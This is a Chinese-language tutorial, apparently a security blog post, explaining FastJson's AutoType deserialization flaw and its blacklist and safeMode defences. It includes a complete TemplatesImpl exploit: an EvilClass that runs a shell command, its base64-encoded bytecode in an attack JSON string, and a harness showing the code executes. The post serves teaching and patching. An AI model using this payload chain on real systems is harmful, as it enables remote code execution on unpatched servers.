FastJson中AutoType反序列化漏洞
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1、频繁出现的反序列化漏洞2、parse()及parseObject()3、AutoType及安全校验3.1 AutoType安全校验3.2 AutoType黑名单机制3.3 SafeMode安全机制3.4 攻击思路4、反序列化攻击模拟4.1 TemplatesImpl攻击调用链路4.2 攻击类Translet生成4.3 构造攻击JSON串4.4 攻击模拟5、修复方案
1、频繁出现的反序列化漏洞
Fastjson1.2.80 反序列化漏洞情报，攻击者可以利用该漏洞攻击远程服务器, 可能会造成任意命令执行。在Fastjson<=1.2.83的版本中，通过新的Gadgets链绕过autoType开关，在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制，实现了反序列化漏洞利用的远程代码执行效果，同时，此次修复补丁也补充了autoType黑名单，Fastjson历史版本中，autoType安全黑名单已被多次绕过，官方也一直在持续补充增强该黑名单，并在1.2.68版本中引入一个safeMode的配置，配置safeMode后，无论白名单和黑名单，都不支持autoType，不过默认并未开启该配置。由于autoType开关漏洞利用门槛较低，可绕过autoType限制，风险影响较大，建议尽快更新漏洞修复版本或采用临时缓解措施加固系统。
2、parse()及parseObject()
FastJson中将JSON串反序列化成Java对象的两个常用方法是parse()及parseObject()，那么这两者有什么区别呢？
定义User测试类如下
package com.company.project.bean;
import java.io.Serializable;
public class User implements Serializable {
private static final long serialVersionUID = -8088742348807697485L;
private String userName;
public User() {
System.out.println("call construct method");
}
public String getUserName() {
System.out.println("call get method getUserName");
return userName;
}
public void setUserName(String userName) {
System.out.println("call set method setUserName");
this.userName = userName;
}
}
fastJson中parse方法或者parseObject都可以将JSON串转化成Java对象，定义如下序列化后的Json串，做测试
public static void main(String[] args) {
String userJson = "{\"@type\":\"com.company.project.bean.User\",\"userName\":\"testUserName\"}";
//parseObject测试
Object object1 = JSON.parseObject(userJson);
System.out.println("=============");
//parse
Object object2 = JSON.parse(userJson);
}
控制台中输出结果如下： 根据控制台输出，可以看到parseObject方法会调用getter方法，而parse方法却不会，为什么呢？
parse()及parseObject()进行反序列化时的细节区别在于，parse() 会识别并调用目标类的 setter 方法，而 parseObject() 由于要将返回值转化为JSONObject，多执行了 JSON.toJSON(obj)，所以在处理过程中会调用反序列化目标类的getter 方法来将参数赋值给JSONObject
也就是说使用AutoType时，若使用parseObject方法，会触发该类的构造函数、get、set方法
这玩意和漏洞有什么关系呢？
3、AutoType及安全校验
要了解FastJson的AutoType反序列化漏洞，有必要先说明下FastJson中的AutoType是什么，有什么用，Fastjson提供了autotype功能，允许用户在反序列化数据中通过“@type”指定反序列化的Class类型。
3.1 AutoType安全校验
知道了AutoType的作用后，假设如下场景，服务端接收到的请求Json串中包含了指定恶意代码Class的@Type，服务端调用JSON.parseObject()时触发了该Class中的构造函数、或者是getter、setter方法中的恶意代码
这不就是反序列化攻击的思路了？
当然FastJson的开发者也意识到了这一点，这才诞生了AutoType的黑名单机制，以及SafeMode安全机制
3.2 AutoType黑名单机制
既然Json串中传入指定不可靠第三方Type类时是有被攻击风险的，自然最简单的做法就是在反序列化时首先校验传入的Class是否在黑名单Class列表中，FastJson中通过Hash算法，将一系列存在安全风险的Class全路径的Hash值存储在黑名单中，代码如下: 在传入指定类型Class时，会首先判断该类是否在黑名单中，如果是，则抛出异常，代码在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)中 既然是黑名单，那么其中的风险类自然是要在不断迭代演进中添加的，不可能一步到位，屏蔽所有风险类，这也是为什么FastJson频繁升级来修复漏洞的原因
3.3 SafeMode安全机制
fastjson在1.2.68及之后的版本中引入了safeMode，配置safeMode后，无论白名单和黑名单，都不支持autoType，可一定程度上缓解反序列化Gadgets类变种攻击
对应到fastJson反序列化中的代码实现，代码在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)中
3.4 攻击思路
现在回头再看一眼漏洞描述，问题是不是就很清晰了，漏洞在两种情况下容易被利用：
1、执行AutoType安全校验，但新发现了一个黑名单中不存在的Class，利用该Class反序列化时执行的恶意代码进行攻击； 2、通过某种方法，绕过AutoType安全校验；
4、反序列化攻击模拟
为了方便演示漏洞，下文采用的FastJson版本为1.2.22(高版本中已通过黑名单机制屏蔽该漏洞)。演示利用一个黑名单中不存在的Class(在上文指定的FastJSON 1.2.22版本中还未屏蔽这个风险类)来执行攻击
4.1 TemplatesImpl攻击调用链路
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是历史上出现过存在FastJson反序列漏洞的一个第三方类，上文已经提到过，JSON串中传入指定类型Class时，调用parseObject方法反序列时会调用该Class的get、set及构造方法，那么如果指定JSON串中type为TemplatesImpl时
TemplatesImpl中存在一个get方法为getOutputProperties()，其在调用FastJson.parseObject()序列化为Java对象时会被调用getOutputProperties内部调用了newTransformer()方法，newTransformer()内部调用了getTransletInstance()方法获取Translet对象获取Translet对象时，其通过内部的私有变量_bytecodes生成返回的Translet对象
这里这个_bytecodes私有变量就是整个攻击设计的核心所在，虽然FastJson默认只能反序列化公有属性，但是可以在JSON串中指定_bytecodes为我们恶意攻击类的字节码，同时调用JSON.parseObject(json, Object.class, Feature.SupportNonPublicField)来反序列化私有属性，那么_bytecodes就可以是任意指定代码
也就是说，如果事先定义好了Translet返回Class类的内容，并且在自定义的Translet类的构造函数中实现攻击代码，并且把攻击代码转化成字节码，传入TemplatesImpl的私有变量_bytecodes中，那么反序列化生成TemplatesImpl时就会使用我们自定义的字节码来生成Translet类，从而触发Translet构造函数中的攻击代码
所以攻击思路很明显了，分为三步：
自定义Translet攻击类，在构造函数中实现攻击代码根据步骤1生成的字节码来构造攻击JSON串调用JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);反序列化对象从而触发攻击，这里必须使用支持私有变量反序列化的Feature，虽然条件有点苛刻，但这只是众多攻击链路中较为易懂的一种
4.2 攻击类Translet生成
定义如下攻击类EvilClass，继承自AbstractTranslet，在构造函数中写入自己的攻击代码，这里演示只做新增一个文件的操作
package com.company.project.bean;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilClass extends AbstractTranslet {
public EvilClass() throws IOException {
namesArray = new String[]{"1", "2"};
//简单模拟攻击代码操作，生成一个txt文件
Runtime.getRuntime().exec("/usr/bin/touch /tmp/evilAttack.txt");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
}
4.3 构造攻击JSON串
然后将编译后的.class字节码文件进行base64编码，最后使用生成的字节码的base64编码来生成攻击JSON串
FastJson提取byte[]数组字段值时会进行Base64解码，所以我们构造payload时需要对 _bytecodes 进行Base64处理
public static void test_autoTypeDeny() throws Exception {
final String evilClassPath = "/Users/didi/IdeaProjects/spring-boot-api-project-seed/target/classes/com/company/project/bean/EvilClass.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
}
最后，完整的恶意JSON串如下
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":[
"yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh"],
'_name':'a.b',
'_tfactory':{
},
"_outputProperties":{
},
"_name":"a",
"_version":"1.0",
"allowedProtocols":"all"
}
这个JSON串中最核心的部分是_bytecodes，它是要执行的恶意字节码的base64编码，@type是指定的解析类，至于_name、_outputProperties等属性都是TemplatesImpl的私有变量，为了避免反序列化时报错，随意传入一个值
4.4 攻击模拟
现在假设系统接收到了上述构造的恶意JSON串，调用FastJSON的反序列化操作，如下所示，在反序列化操作的前后分别打印文件是否存在，以此来印证攻击代码(简单的生成一个文件)是否生效
public static void main(String[] args) {
String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ },\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
//开启autoType支持
File fileBeforeAttack = new File("/tmp/evilAttack.txt");
System.out.println("before JSON.parseObject:"+fileBeforeAttack.exists());
//反序列化传入的攻击json串
Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
File fileAfterAttack = new File("/tmp/evilAttack.txt");
System.out.println("after JSON.parseObject:"+fileAfterAttack.exists());
}
执行后命令行中输出如下，说明我们构造的恶意代码被成功执行 最后debug到恶意代码执行处，看下反序列化时的调用链路，如图所示 最底层触发的入口为JSON.parseObject，后面反序列化时调用TemplatesImpl#getOutProperties方法，最终使用TemplatesImpl类内部私有的_bytecodes生成我们自定义的攻击Class，从触发到自定义类的构造函数中的恶意代码。
当然Fastjson在高版本中已经采用了黑名单机制来屏蔽了TemplatesImpl类
不管如何，我们在使用开源的第三方库时，需关注官方的版本迭代，防止潜在的漏洞产生危害
5、修复方案
你用别人的东西，能咋办，升级啊。。。 +v：HuohuyunSec （https://huohuyun.net/）
